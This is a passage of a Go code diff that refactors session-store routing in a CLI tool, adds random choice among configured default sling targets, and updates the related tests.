-		sessionKey: strings.TrimSpace(b.Metadata["session_key"]),
-		provider:   provider,
-		createdAt:  b.CreatedAt,
-	}, true
-}
-
 func sessionLogPathFreshEnough(path string, sessionCreatedAt time.Time) bool {
 	if strings.TrimSpace(path) == "" {
 		return false
@@ -217,83 +144,11 @@ func sessionLogPathFreshEnough(path string, sessionCreatedAt time.Time) bool {
 	return !info.ModTime().Before(sessionCreatedAt.Add(-2 * time.Second))
 }
 
-func canFallbackStoredSessionLogByWorkDir(store beads.Store, logCtx sessionLogContext) bool {
-	if store == nil || strings.TrimSpace(logCtx.sessionID) == "" || strings.TrimSpace(logCtx.workDir) == "" {
-		return false
-	}
-	all, err := sessionLogFallbackCandidates(store, logCtx.workDir, logCtx.provider)
-	if err != nil {
-		return false
-	}
-	targetLive := false
-	for _, b := range all {
-		if b.ID == logCtx.sessionID {
-			targetLive = sessionLogFallbackCandidateLive(b)
-			break
-		}
-	}
-	matches := 0
-	for _, b := range all {
-		if !sessionpkg.IsSessionBeadOrRepairable(b) {
-			continue
-		}
-		if strings.TrimSpace(b.Metadata[beadmeta.LegacyWorkDirMetadataKey]) != logCtx.workDir {
-			continue
-		}
-		provider := strings.TrimSpace(b.Metadata["provider_kind"])
-		if provider == "" {
-			provider = strings.TrimSpace(b.Metadata["provider"])
-		}
-		if logCtx.provider != "" && provider != "" && provider != logCtx.provider {
-			continue
-		}
-		if targetLive && b.ID != logCtx.sessionID && !sessionLogFallbackCandidateLive(b) {
-			continue
-		}
-		matches++
-		if matches > 1 {
-			return false
-		}
-	}
-	return matches == 1
-}
-
-func sessionLogFallbackCandidates(store beads.Store, workDir, provider string) ([]beads.Bead, error) {
-	candidates := make(map[string]beads.Bead)
-	add := func(filters map[string]string) error {
-		found, err := store.ListByMetadata(filters, 0)
-		if err != nil {
-			return err
-		}
-		for _, b := range found {
-			candidates[b.ID] = b
-		}
-		return nil
-	}
-	if strings.TrimSpace(provider) == "" {
-		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir}); err != nil {
-			return nil, err
-		}
-	} else {
-		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir, "provider": provider}); err != nil {
-			return nil, err
-		}
-		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir, "provider_kind": provider}); err != nil {
-			return nil, err
-		}
-	}
-	out := make([]beads.Bead, 0, len(candidates))
-	for _, b := range candidates {
-		out = append(out, b)
-	}
-	return out, nil
-}
-
-func sessionLogFallbackCandidateLive(b beads.Bead) bool {
-	if b.Status == "closed" {
+func sessionLogFallbackCandidateLive(info sessionpkg.Info) bool {
+	if info.Closed {
 		return false
 	}
-	switch sessionpkg.State(strings.TrimSpace(b.Metadata["state"])) {
+	switch sessionpkg.State(strings.TrimSpace(info.MetadataState)) {
 	case sessionpkg.StateActive, sessionpkg.StateAwake, sessionpkg.StateStartPending, sessionpkg.StateCreating, sessionpkg.StateDraining:
 		return true
 	default:
diff --git a/cmd/gc/cmd_session_logs_test.go b/cmd/gc/cmd_session_logs_test.go
index cdf5ed37ef..b212afe4a9 100644
--- a/cmd/gc/cmd_session_logs_test.go
+++ b/cmd/gc/cmd_session_logs_test.go
@@ -404,7 +404,7 @@ func TestResolveStoredSessionLogSource_UniqueWorkDirFallsBackBeyondLatestAlias(t
 		},
 	})
 
-	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, store, "mayor", []string{searchBase})
+	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, sessionFrontDoor(store), "mayor", []string{searchBase})
 	if !ok {
 		t.Fatal("resolveStoredSessionLogSource() = not found, want found")
 	}
@@ -451,7 +451,7 @@ func TestResolveStoredSessionLogSource_DoesNotCrossAmbiguousWorkDir(t *testing.T
 		},
 	})
 
-	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, store, "mayor", []string{searchBase})
+	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, sessionFrontDoor(store), "mayor", []string{searchBase})
 	if !ok {
 		t.Fatal("resolveStoredSessionLogSource() = not found, want found")
 	}
@@ -491,7 +491,7 @@ func TestResolveStoredSessionLogSource_CodexDoesNotUseAmbiguousWorkDirFallback(t
 		_ = store.Close(b.ID)
 	}
 
-	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, store, "workflows__codex-max-mc-one", []string{searchBase})
+	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, sessionFrontDoor(store), "workflows__codex-max-mc-one", []string{searchBase})
 	if !ok {
 		t.Fatal("resolveStoredSessionLogSource() = not found, want found")
 	}
@@ -506,6 +506,76 @@ func TestResolveStoredSessionLogSource_CodexDoesNotUseAmbiguousWorkDirFallback(t
 	}
 }
 
+func TestResolveStoredSessionLogSource_CodexAmbiguousWorkDirUsesStartOrder(t *testing.T) {
+	workDir := t.TempDir()
+	firstStarted := time.Date(2026, 5, 4, 12, 0, 0, 0, time.UTC)
+	secondStarted := firstStarted.Add(2 * time.Minute)
+	store := beads.NewMemStoreFrom(2, []beads.Bead{
+		{
+			ID:        "gc-1",
+			Type:      session.BeadType,
+			Status:    "open",
+			Labels:    []string{session.LabelSession},
+			CreatedAt: firstStarted.Add(-time.Hour),
+			UpdatedAt: firstStarted,
+			Metadata: map[string]string{
+				"alias":         "workflows__codex-max-mc-one",
+				"provider":      "codex",
+				"provider_kind": "codex",
+				"session_name":  "workflows__codex-max-mc-one",
+				"state":         "awake",
+				"last_woke_at":  firstStarted.Format(time.RFC3339),
+				"work_dir":      workDir,
+			},
+		},
+		{
+			ID:        "gc-2",
+			Type:      session.BeadType,
+			Status:    "open",
+			Labels:    []string{session.LabelSession},
+			CreatedAt: secondStarted.Add(-time.Hour),
+			UpdatedAt: secondStarted,
+			Metadata: map[string]string{
+				"alias":         "workflows__codex-max-mc-two",
+				"provider":      "codex",
+				"provider_kind": "codex",
+				"session_name":  "workflows__codex-max-mc-two",
+				"state":         "awake",
+				"last_woke_at":  secondStarted.Format(time.RFC3339),
+				"work_dir":      workDir,
+			},
+		},
+	}, nil)
+
+	searchBase := t.TempDir()
+	dayDir := filepath.Join(searchBase, "2026", "05", "04")
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	firstPath := filepath.Join(dayDir, "rollout-first.jsonl")
+	if err := os.WriteFile(firstPath, []byte(fmt.Sprintf(`{"timestamp":%q,"type":"session_meta","payload":{"cwd":%q}}`+"\n", firstStarted.Format(time.RFC3339), workDir)), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	secondPath := filepath.Join(dayDir, "rollout-second.jsonl")
+	if err := os.WriteFile(secondPath, []byte(fmt.Sprintf(`{"timestamp":%q,"type":"session_meta","payload":{"cwd":%q}}`+"\n", secondStarted.Format(time.RFC3339), workDir)), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	got, provider, ok, diagnostic := resolveStoredSessionLogSource("", nil, sessionFrontDoor(store), "workflows__codex-max-mc-two", []string{searchBase})
+	if !ok {
+		t.Fatal("resolveStoredSessionLogSource() = not found, want found")
+	}
+	if diagnostic != "" {
+		t.Fatalf("resolveStoredSessionLogSource() diagnostic = %q, want empty", diagnostic)
+	}
+	if provider != "codex" {
+		t.Fatalf("resolveStoredSessionLogSource() provider = %q, want codex", provider)
+	}
+	if got != secondPath {
+		t.Fatalf("resolveStoredSessionLogSource() path = %q, want %q", got, secondPath)
+	}
+}
+
 func TestCanFallbackStoredSessionLogByWorkDirUsesTargetedLookup(t *testing.T) {
 	store := &noLabelScanSessionLogStore{MemStore: beads.NewMemStore()}
 	workDir := t.TempDir()
@@ -521,7 +591,7 @@ func TestCanFallbackStoredSessionLogByWorkDirUsesTargetedLookup(t *testing.T) {
 		},
 	})
 
-	ok := canFallbackStoredSessionLogByWorkDir(store, sessionLogContext{
+	ok := canFallbackStoredSessionLogByWorkDir(sessionFrontDoor(store), sessionLogContext{
 		sessionID: b.ID,
 		workDir:   workDir,
 		provider:  "codex",
@@ -557,7 +627,7 @@ func TestCanFallbackStoredSessionLogByWorkDirIgnoresAsleepPeersForLiveTarget(t *
 		},
 	})
 
-	ok := canFallbackStoredSessionLogByWorkDir(store, sessionLogContext{
+	ok := canFallbackStoredSessionLogByWorkDir(sessionFrontDoor(store), sessionLogContext{
 		sessionID: target.ID,
 		workDir:   workDir,
 		provider:  "codex",
@@ -864,7 +934,7 @@ func TestResolveSessionLogWorkDirByAlias(t *testing.T) {
 		},
 	})
 
-	got, ok := resolveSessionLogContext("", nil, store, "worker")
+	got, ok := resolveSessionLogContext("", nil, sessionFrontDoor(store), "worker")
 	if !ok {
 		t.Fatal("resolveSessionLogContext() = not found, want found")
 	}
@@ -885,7 +955,7 @@ func TestResolveSessionLogWorkDirBySessionName(t *testing.T) {
 		},
 	})
 
-	got, ok := resolveSessionLogContext("", nil, store, "s-gc-77")
+	got, ok := resolveSessionLogContext("", nil, sessionFrontDoor(store), "s-gc-77")
 	if !ok {
 		t.Fatal("resolveSessionLogContext() = not found, want found")
 	}
@@ -907,7 +977,7 @@ func TestResolveSessionLogWorkDirDoesNotUseClosedHistoricalAlias(t *testing.T) {
 	})
 	_ = store.Close(b.ID)
 
-	if got, ok := resolveSessionLogContext("", nil, store, "mayor"); ok {
+	if got, ok := resolveSessionLogContext("", nil, sessionFrontDoor(store), "mayor"); ok {
 		t.Fatalf("resolveSessionLogContext() = %+v, want not found for historical alias", got)
 	}
 }
@@ -982,7 +1052,7 @@ func TestResolveSessionLogContext_ReservedNamedTargetIgnoresClosedHistoricalBead
 	})
 	_ = store.Close(b.ID)
 
-	got, ok := resolveSessionLogContext(cityPath, cfg, store, "demo/witness")
+	got, ok := resolveSessionLogContext(cityPath, cfg, sessionFrontDoor(store), "demo/witness")
 	if ok {
 		t.Fatalf("resolveSessionLogContext() = %+v, want not found for reserved named target", got)
 	}
diff --git a/cmd/gc/cmd_session_pin.go b/cmd/gc/cmd_session_pin.go
index 5ace1ed08f..94130fc0d7 100644
--- a/cmd/gc/cmd_session_pin.go
+++ b/cmd/gc/cmd_session_pin.go
@@ -78,6 +78,7 @@ func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, json
 	if cityErr == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
+	sessStore := cliSessionStore(store, cfg, cityPath)
 
 	var (
 		id                 string
@@ -85,9 +86,9 @@ func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, json
 		materializedForPin bool
 	)
 	if pinned {
-		id, err = resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+		id, err = resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 		if err != nil {
-			id, err = resolveSessionIDMaterializingNamedWithMetadata(cityPath, cfg, store, args[0], map[string]string{
+			id, err = resolveSessionIDMaterializingNamedWithMetadata(cityPath, cfg, sessStore, args[0], map[string]string{
 				"pin_awake":                 "true",
 				"pending_create_claim":      "",
 				"pending_create_started_at": "",
@@ -95,14 +96,14 @@ func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, json
 			materializedForPin = err == nil
 		}
 	} else {
-		id, err = resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+		id, err = resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	}
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session %s: %v\n", action, err) //nolint:errcheck
 		return 1
 	}
 
-	b, err := store.Get(id)
+	b, err := sessStore.Get(id)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session %s: %v\n", action, err) //nolint:errcheck
 		return 1
@@ -111,7 +112,7 @@ func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, json
 		fmt.Fprintf(stderr, "gc session %s: %s is not a session\n", action, id) //nolint:errcheck
 		return 1
 	}
-	session.RepairEmptyType(store, &b)
+	session.RepairEmptyType(sessStore, &b)
 	if b.Status == "closed" {
 		fmt.Fprintf(stderr, "gc session %s: session %s is closed\n", action, id) //nolint:errcheck
 		return 1
@@ -122,7 +123,7 @@ func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, json
 		value = "true"
 	}
 	if !materializedForPin {
-		if err := sessionFrontDoor(store).SetMarker(id, "pin_awake", value); err != nil {
+		if err := sessionFrontDoor(sessStore).SetMarker(id, "pin_awake", value); err != nil {
 			fmt.Fprintf(stderr, "gc session %s: updating metadata: %v\n", action, err) //nolint:errcheck
 			return 1
 		}
diff --git a/cmd/gc/cmd_session_reset.go b/cmd/gc/cmd_session_reset.go
index 67c1b4fd9d..90a73a78d1 100644
--- a/cmd/gc/cmd_session_reset.go
+++ b/cmd/gc/cmd_session_reset.go
@@ -66,19 +66,23 @@ func cmdSessionReset(args []string, stdout, stderr io.Writer, jsonOutput ...bool
 
 	cfg, _ := loadCityConfig(cityPath, stderr)
 
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+	// Every store consumer here is session-class (ID resolution, worker handle,
+	// session-bead load), so route the whole flow through the session
+	// coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session reset: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, newSessionProvider(), cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, newSessionProvider(), cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session reset: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
-	bead, err := store.Get(sessionID)
+	bead, err := sessStore.Get(sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session reset: loading session %s: %v\n", sessionID, err) //nolint:errcheck // best-effort stderr
 		return 1
diff --git a/cmd/gc/cmd_session_wake.go b/cmd/gc/cmd_session_wake.go
index 0cfdb5700d..19dbd3c6fa 100644
--- a/cmd/gc/cmd_session_wake.go
+++ b/cmd/gc/cmd_session_wake.go
@@ -6,7 +6,6 @@ import (
 	"strings"
 	"time"
 
-	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/session"
 	"github.com/spf13/cobra"
@@ -53,13 +52,14 @@ func cmdSessionWake(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 	if cityErr == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	id, err := resolveSessionIDMaterializingNamed(cityPath, cfg, store, args[0])
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	id, err := resolveSessionIDMaterializingNamed(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session wake: %v\n", err) //nolint:errcheck
 		return 1
 	}
 
-	b, err := store.Get(id)
+	b, err := sessStore.Get(id)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session wake: %v\n", err) //nolint:errcheck
 		return 1
@@ -68,9 +68,9 @@ func cmdSessionWake(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 		fmt.Fprintf(stderr, "gc session wake: %s is not a session\n", id) //nolint:errcheck
 		return 1
 	}
-	hasRunnableTemplate := sessionWakeHasRunnableTemplate(b, cfg)
-	session.RepairEmptyType(store, &b)
-	nudgeIDs, err := session.WakeSession(store, b, time.Now().UTC())
+	hasRunnableTemplate := sessionWakeHasRunnableTemplateInfo(session.InfoFromPersistedBead(b), cfg)
+	session.RepairEmptyType(sessStore, &b)
+	nudgeIDs, err := session.WakeSession(sessStore, b, time.Now().UTC())
 	if err != nil {
 		if state, conflict := session.WakeConflictState(err); conflict {
 			fmt.Fprintf(stderr, "gc session wake: session %s is %s\n", id, state) //nolint:errcheck
@@ -79,8 +79,8 @@ func cmdSessionWake(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 		fmt.Fprintf(stderr, "gc session wake: updating metadata: %v\n", err) //nolint:errcheck
 		return 1
 	}
-	if !hasRunnableTemplate && sessionWakeRequestedCreate(b) {
-		if err := sessionFrontDoor(store).ApplyPatch(id, map[string]string{
+	if !hasRunnableTemplate && sessionWakeRequestedCreateInfo(session.InfoFromPersistedBead(b)) {
+		if err := sessionFrontDoor(sessStore).ApplyPatch(id, map[string]string{
 			"state":                     string(session.StateAsleep),
 			"state_reason":              "",
 			"pending_create_claim":      "",
@@ -119,18 +119,18 @@ func cmdSessionWake(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 	return 0
 }
 
-func sessionWakeHasRunnableTemplate(b beads.Bead, cfg *config.City) bool {
+func sessionWakeHasRunnableTemplateInfo(info session.Info, cfg *config.City) bool {
 	if cfg == nil {
 		return true
 	}
-	template := normalizedSessionTemplate(b, cfg)
+	template := normalizedSessionTemplateInfo(info, cfg)
 	if template == "" {
-		template = b.Metadata["template"]
+		template = info.Template
 	}
 	return findAgentByTemplate(cfg, template) != nil
 }
 
-func sessionWakeRequestedCreate(b beads.Bead) bool {
-	state := session.State(strings.TrimSpace(b.Metadata["state"]))
+func sessionWakeRequestedCreateInfo(info session.Info) bool {
+	state := session.State(strings.TrimSpace(info.MetadataState))
 	return state == session.StateSuspended || state == session.StateDrained
 }
diff --git a/cmd/gc/cmd_skill.go b/cmd/gc/cmd_skill.go
index d2f5938a4c..43e3d37765 100644
--- a/cmd/gc/cmd_skill.go
+++ b/cmd/gc/cmd_skill.go
@@ -81,7 +81,7 @@ func newSkillListCmd(stdout, stderr io.Writer) *cobra.Command {
 				}
 			}
 
-			entries, err := listVisibleSkillEntries(cityPath, cfg, store, agentName, sessionID)
+			entries, err := listVisibleSkillEntries(cityPath, cfg, cliSessionFrontDoor(store, cfg, cityPath), agentName, sessionID)
 			if err != nil {
 				fmt.Fprintf(stderr, "gc skill list: %v\n", err) //nolint:errcheck // best-effort stderr
 				return errExit
@@ -113,30 +113,6 @@ type skillListJSONResult struct {
 	Entries       []visibilityEntry `json:"entries"`
 }
 
-func listVisibleSkillEntries(cityPath string, cfg *config.City, store beads.Store, agentName, sessionID string) ([]visibilityEntry, error) {
-	entries := discoverSkillEntries(cityPath, "city")
-	// Legacy implicit-import compatibility packs may still contribute
-	// shared skills on upgraded installs. Keep surfacing them here while
-	// the compatibility path exists; builtin pack skills arrive through
-	// the composed imports and are not part of this listing.
-	entries = append(entries, discoverBootstrapSkillEntries()...)
-	if strings.TrimSpace(agentName) == "" && strings.TrimSpace(sessionID) == "" {
-		entries = append(entries, discoverImportedSkillEntries(sharedSkillCatalogInputs(cfg, currentRigContext(cfg)))...)
-		sortVisibilityEntries(entries)
-		return entries, nil
-	}
-	agent, err := resolveVisibilityAgent(cityPath, cfg, store, agentName, sessionID)
-	if err != nil {
-		return nil, err
-	}
-	// Every agent sees the entire shared catalog plus its own agent-local
-	// skills. No attachment filtering.
-	entries = append(entries, discoverImportedSkillEntries(sharedSkillCatalogInputs(cfg, agentRigScopeName(agent, cfg.Rigs)))...)
-	entries = append(entries, discoverAgentSkillEntries(agentAssetRoot(cityPath, agent), agent.Name, "agent")...)
-	sortVisibilityEntries(entries)
-	return entries, nil
-}
-
 // discoverBootstrapSkillEntries enumerates skills that come from any
 // legacy implicit-import compatibility packs. It normally returns an
 // empty slice on the gc import launch path because BootstrapPacks is
@@ -173,46 +149,6 @@ type visibilityEntry struct {
 	Path   string `json:"path"`
 }
 
-func resolveVisibilityAgent(cityPath string, cfg *config.City, store beads.Store, agentName, sessionID string) (*config.Agent, error) {
-	switch {
-	case strings.TrimSpace(agentName) != "":
-		resolved, ok := resolveAgentIdentity(cfg, agentName, currentRigContext(cfg))
-		if !ok {
-			return nil, fmt.Errorf("unknown agent %q", agentName)
-		}
-		template := resolveAgentTemplate(resolved.QualifiedName(), cfg)
-		agent := findAgentByTemplate(cfg, template)
-		if agent == nil {
-			return nil, fmt.Errorf("unknown agent %q", agentName)
-		}
-		return agent, nil
-	case strings.TrimSpace(sessionID) != "":
-		if store == nil {
-			return nil, fmt.Errorf("session store unavailable")
-		}
-		id, err := resolveSessionIDAllowClosedWithConfig(cityPath, cfg, store, sessionID)
-		if err != nil {
-			return nil, err
-		}
-		bead, err := store.Get(id)
-		if err != nil {
-			return nil, fmt.Errorf("loading session %q: %w", sessionID, err)
-		}
-		template := normalizedSessionTemplate(bead, cfg)
-		if template == "" {
-			template = strings.TrimSpace(bead.Metadata["agent_name"])
-		}
-		template = resolveAgentTemplate(template, cfg)
-		agent := findAgentByTemplate(cfg, template)
-		if agent == nil {
-			return nil, fmt.Errorf("session %q maps to unknown agent template %q", sessionID, template)
-		}
-		return agent, nil
-	default:
-		return nil, nil
-	}
-}
-
 func agentAssetRoot(cityPath string, agent *config.Agent) string {
 	if agent != nil && strings.TrimSpace(agent.SourceDir) != "" {
 		return agent.SourceDir
diff --git a/cmd/gc/cmd_sling.go b/cmd/gc/cmd_sling.go
index cad7c3aa15..526195d31c 100644
--- a/cmd/gc/cmd_sling.go
+++ b/cmd/gc/cmd_sling.go
@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"io"
 	"maps"
+	"math/rand"
 	"net"
 	"os"
 	"os/exec"
@@ -81,7 +82,8 @@ The second argument is a bead ID, a formula name when --formula is set, or
 arbitrary text (which auto-creates a task bead).
 
 When target is omitted, the bead's rig prefix is used to look up the rig's
-default_sling_target from config. Requires --formula to have an explicit target.
+default_sling_targets (or default_sling_target) from config and one is chosen
+at random. Requires --formula to have an explicit target.
 Inline text also requires an explicit target.
 
 With --formula, the formula is instantiated and its root bead is routed to
@@ -284,10 +286,19 @@ func cmdSlingWithJSON(args []string, isFormula, doNudge, force bool, title strin
 		if !found {
 			return fail("target_resolve_failed", fmt.Sprintf("gc sling: no rig with prefix %q for bead %s", bp, beadOrFormula))
 		}
-		if rig.DefaultSlingTarget == "" {
-			return fail("target_resolve_failed", fmt.Sprintf("gc sling: rig %q has no default_sling_target", rig.Name))
+		switch {
+		case len(rig.DefaultSlingTargets) > 0:
+			for _, t := range rig.DefaultSlingTargets {
+				if t == "" {
+					return fail("target_resolve_failed", fmt.Sprintf("gc sling: rig %q has an empty entry in default_sling_targets", rig.Name))
+				}
+			}
+			target = rig.DefaultSlingTargets[rand.Intn(len(rig.DefaultSlingTargets))] //nolint:gosec // random target selection, not security-critical
+		case rig.DefaultSlingTarget != "":
+			target = rig.DefaultSlingTarget
+		default:
+			return fail("target_resolve_failed", fmt.Sprintf("gc sling: rig %q has no default_sling_target or default_sling_targets", rig.Name))
 		}
-		target = rig.DefaultSlingTarget
 	}
 
 	// Ensure rig paths are absolute before agent/rig context resolution.
@@ -1374,10 +1385,16 @@ func doSlingNudge(a *config.Agent, cityName, cityPath string, cfg *config.City,
 
 	if a.SupportsInstanceExpansion() {
 		sp0 := scaleParamsFor(a)
-		tryNudgeStore := func(sessionStore beads.Store) bool {
-			refs := resolvePoolSessionRefs(sessionStore, cfg, a.Name, a.Dir, sp0, a, cityName, st, sp, stderr)
+		tryNudgeStore := func(rawStore beads.Store) bool {
+			// Session lookups (pool refs, running check, target fence) route to the
+			// session coordination-class store; the queued-nudge enqueue inside
+			// deliverSlingNudge stays on rawStore (nudges class). Identity today
+			// (cliSessionStore is the identity resolver), so byte-identical until a
+			// [beads.classes.sessions] relocation lands.
+			sessStore := cliSessionStore(rawStore, cfg, cityPath)
+			refs := resolvePoolSessionRefs(sessStore, cfg, a.Name, a.Dir, sp0, a, cityName, st, sp, stderr)
 			for _, ref := range refs {
-				running, err := workerSessionTargetRunningWithConfig(cityPath, sessionStore, sp, cfg, ref.sessionName)
+				running, err := workerSessionTargetRunningWithConfig(cityPath, sessStore, sp, cfg, ref.sessionName)
 				if err != nil || !running {
 					continue
 				}
@@ -1386,8 +1403,8 @@ func doSlingNudge(a *config.Agent, cityName, cityPath string, cfg *config.City,
 					fmt.Fprintf(stderr, "gc sling: agent %q not found in config\n", ref.qualifiedInstance) //nolint:errcheck // best-effort
 					return true
 				}
-				target := buildSlingNudgeTarget(member, cityName, cityPath, cfg, sessionStore, ref.sessionName)
-				deliverSlingNudge(target, sp, sessionStore, cityPath, stdout, stderr)
+				target := buildSlingNudgeTarget(member, cityName, cityPath, cfg, sessStore, ref.sessionName)
+				deliverSlingNudge(target, sp, rawStore, cityPath, stdout, stderr)
 				return true
 			}
 			return false
@@ -1411,9 +1428,12 @@ func doSlingNudge(a *config.Agent, cityName, cityPath string, cfg *config.City,
 		return
 	}
 
-	// Fixed agent: nudge directly.
-	sn := lookupSessionNameOrLegacy(store, cityName, a.QualifiedName(), st)
-	target := buildSlingNudgeTarget(*a, cityName, cityPath, cfg, store, sn)
+	// Fixed agent: nudge directly. Session lookups route to the session
+	// coordination-class store; deliverSlingNudge keeps the nudge enqueue on the
+	// plain store. Identity today.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sn := lookupSessionNameOrLegacy(sessStore, cityName, a.QualifiedName(), st)
+	target := buildSlingNudgeTarget(*a, cityName, cityPath, cfg, sessStore, sn)
 	deliverSlingNudge(target, sp, store, cityPath, stdout, stderr)
 }
 
@@ -1476,11 +1496,17 @@ func buildSlingNudgeTarget(agent config.Agent, cityName, cityPath string, cfg *c
 
 func deliverSlingNudge(target nudgeTarget, sp runtime.Provider, store beads.Store, cityPath string, stdout, stderr io.Writer) {
 	const msg = "Work slung. Check your hook."
-	obs, err := workerObserveNudgeTarget(target, store, sp)
+	// Session observation/handle and the last-nudge-delivered stamp route to the
+	// session coordination-class store (derived from the target's cfg+cityPath); the
+	// queued-nudge enqueue below stays on the passed store (nudges class). Identity
+	// today (cliSessionStore is the identity resolver; a nil target.cfg → identity
+	// too), so byte-identical until a [beads.classes.sessions] relocation lands.
+	sessStore := cliSessionStore(store, target.cfg, target.cityPath)
+	obs, err := workerObserveNudgeTarget(target, sessStore, sp)
 	running := err == nil && obs.Running
 	now := time.Now()
 	if running {
-		handle, err := workerHandleForNudgeTarget(target, store, sp)
+		handle, err := workerHandleForNudgeTarget(target, sessStore, sp)
 		if err == nil {
 			result, nudgeErr := handle.Nudge(context.Background(), worker.NudgeRequest{
 				Text:     msg,
@@ -1490,9 +1516,9 @@ func deliverSlingNudge(target nudgeTarget, sp runtime.Provider, store beads.Stor
 			})
 			if nudgeErr == nil && result.Delivered {
 				telemetry.RecordNudge(context.Background(), target.agent.QualifiedName(), nil)
-				var sessFront *session.InfoStore
+				var sessFront *session.Store
 				if store != nil {
-					sessFront = sessionFrontDoor(store)
+					sessFront = cliSessionFrontDoor(store, target.cfg, target.cityPath)
 				}
 				stampLastNudgeDeliveredAt(sessFront, target.sessionID, time.Now())
 				fmt.Fprintf(stdout, "Nudged %s\n", target.agent.QualifiedName()) //nolint:errcheck // best-effort
@@ -1650,7 +1676,7 @@ func dryRunSingle(opts slingOpts, deps slingDeps, querier BeadQuerier, stdout, s
 
 	// Nudge section.
 	if opts.Nudge {
-		printNudgePreview(w, a, deps.CityName, deps.SP, deps.Store, deps.Cfg)
+		printNudgePreview(w, a, deps.CityName, deps.CityPath, deps.SP, deps.Store, deps.Cfg)
 	}
 
 	w("No side effects executed (--dry-run).")
@@ -1736,7 +1762,7 @@ func dryRunBatch(opts slingOpts, deps slingDeps, stdout, _ io.Writer,
 
 	// Nudge section.
 	if opts.Nudge {
-		printNudgePreview(w, a, deps.CityName, deps.SP, deps.Store, deps.Cfg)
+		printNudgePreview(w, a, deps.CityName, deps.CityPath, deps.SP, deps.Store, deps.Cfg)
 	}
 
 	w("No side effects executed (--dry-run).")
@@ -1812,13 +1838,15 @@ func dryRunReportBlockingMolecule(opts slingOpts, deps slingDeps, querier BeadQu
 }
 
 // printNudgePreview prints the Nudge section for dry-run output.
-func printNudgePreview(w func(string), a config.Agent, cityName string,
+func printNudgePreview(w func(string), a config.Agent, cityName, cityPath string,
 	sp runtime.Provider, store beads.Store, cfg *config.City,
 ) {
 	st := cfg.Workspace.SessionTemplate
 	w("Nudge:")
-	sn := lookupSessionNameOrLegacy(store, cityName, a.QualifiedName(), st)
-	running, err := workerSessionTargetRunningWithConfig("", store, sp, cfg, sn)
+	// Dry-run session reads route to the session coordination-class store. Identity today.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sn := lookupSessionNameOrLegacy(sessStore, cityName, a.QualifiedName(), st)
+	running, err := workerSessionTargetRunningWithConfig("", sessStore, sp, cfg, sn)
 	if err == nil && running {
 		w("  Would nudge " + a.QualifiedName() + " (session " + sn + ").")
 		w("  Currently: running ✓")
diff --git a/cmd/gc/cmd_sling_test.go b/cmd/gc/cmd_sling_test.go
index 08c227d097..1c107b064b 100644
--- a/cmd/gc/cmd_sling_test.go
+++ b/cmd/gc/cmd_sling_test.go
@@ -1497,7 +1497,7 @@ func TestBuiltInSlingPoolRouteContractUsesMetadataOnly(t *testing.T) {
 	if err != nil {
 		t.Fatalf("Get claimed bead: %v", err)
 	}
-	states := ComputePoolDesiredStates(cfg, []beads.Bead{claimed}, []beads.Bead{{
+	states := ComputePoolDesiredStates(cfg, []beads.Bead{claimed}, sessionInfosFromBeads([]beads.Bead{{
 		ID:     polecatSession,
 		Status: "open",
 		Type:   sessionBeadType,
@@ -1505,7 +1505,7 @@ func TestBuiltInSlingPoolRouteContractUsesMetadataOnly(t *testing.T) {
 			"template":     "saitoc/polecat",
 			"session_name": polecatSession,
 		},
-	}}, map[string]int{"saitoc/polecat": 0})
+	}}), map[string]int{"saitoc/polecat": 0})
 	if len(states) != 1 || len(states[0].Requests) != 1 {
 		t.Fatalf("resume states = %#v, want one polecat resume request", states)
 	}
@@ -8632,3 +8632,161 @@ func TestSlingStdinWithExtraArg(t *testing.T) {
 		t.Errorf("stderr = %q, want to contain '--stdin requires exactly 1 argument'", stderr.String())
 	}
 }
